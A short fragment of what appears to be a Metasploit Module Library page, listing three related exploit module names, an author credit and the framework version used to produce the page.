- exploit/unix/http/cacti_filter_sqli_rce
- exploit/unix/http/quest_kace_systems_management_rce
- exploit/unix/smtp/opensmtpd_mail_from_rce
Authors
- Anastasios Stasinopoulos
Version
This page has been produced using Metasploit Framework version 6.2.1-dev. For more modules, visit the Metasploit Module Library.
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